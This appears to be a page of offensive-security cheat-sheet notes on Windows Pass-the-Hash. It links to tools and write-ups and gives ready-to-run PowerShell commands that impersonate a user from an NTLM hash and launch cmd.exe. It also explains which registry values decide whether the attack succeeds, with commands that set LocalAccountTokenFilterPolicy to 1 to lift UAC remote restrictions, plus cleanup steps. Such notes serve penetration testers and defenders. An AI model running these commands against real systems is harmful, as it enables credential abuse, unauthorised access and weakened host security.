# Pass-the-Hash

* <https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/>

## NamedPipePTH

* <https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/>
* <https://github.com/S3cur3Th1sSh1t/NamedPipePTH>
* <https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH>

Impersonate a user with Pass-the-Hash for **local** actions (network authentication does not work with `Impersonation Token`, only with `Delegation Token`):

```
PS > Invoke-ImpersonateUser-PTH -Username snovvcrash -Hash fc525c9683e8fe067095ba2ddc971889 -Target localhost -Domain . -PipeName mypipe -Binary C:\Windows\System32\cmd.exe -Verbose
PS > Invoke-SharpNamedPipePTH -C "username:snovvcrash domain:{megacorp.local|localhost} hash:fc525c9683e8fe067095ba2ddc971889 binary:C:\Windows\System32\cmd.exe"
```

Can be used for authenticating in SQL Server management tools (`%PROGRAMFILES(X86)%\Microsoft SQL Server Management Studio 18\Common7\IDE\Ssms.exe`) and accessing DBs with SQL admin hash, for example.

## PtH Notes

* <https://offensivedefence.co.uk/posts/ntlm-auth-firefox/>
* <https://sensepost.com/blog/2023/protected-users-you-thought-you-were-safe-uh/>

### User Account Control

* <https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/>

### LocalAccountTokenFilterPolicy & FilterAdministratorToken

| Property Name                                                                                                                                              | Property Path                                                     |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- |
| [LocalAccountTokenFilterPolicy](https://docs.microsoft.com/ru-ru/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction) | `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\` |
| [FilterAdministratorToken](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gpsb/7c705718-f58e-4886-8057-37c8fd9aede1)                      | `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\` |

If `LocalAccountTokenFilterPolicy` exists and is set to `1` (doesn't exist by default), remote connections from **all** local admins are not affected by UAC and PtH will succeed:

```
PS > Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" -Name LocalAccountTokenFilterPolicy
```

If `FilterAdministratorToken` exists and is set to `1` (doesn't exist by default), builtin local admin account (RID 500) is affected by UAC and PtH will fail:

```
PS > Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" -Name FilterAdministratorToken
```

Add:

```
Cmd > reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
PS > New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "LocalAccountTokenFilterPolicy" -PropertyType "DWORD" -Value 1 -Force
```

Cleanup:

```
Cmd > reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /f
PS > Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "LocalAccountTokenFilterPolicy" -Force
```


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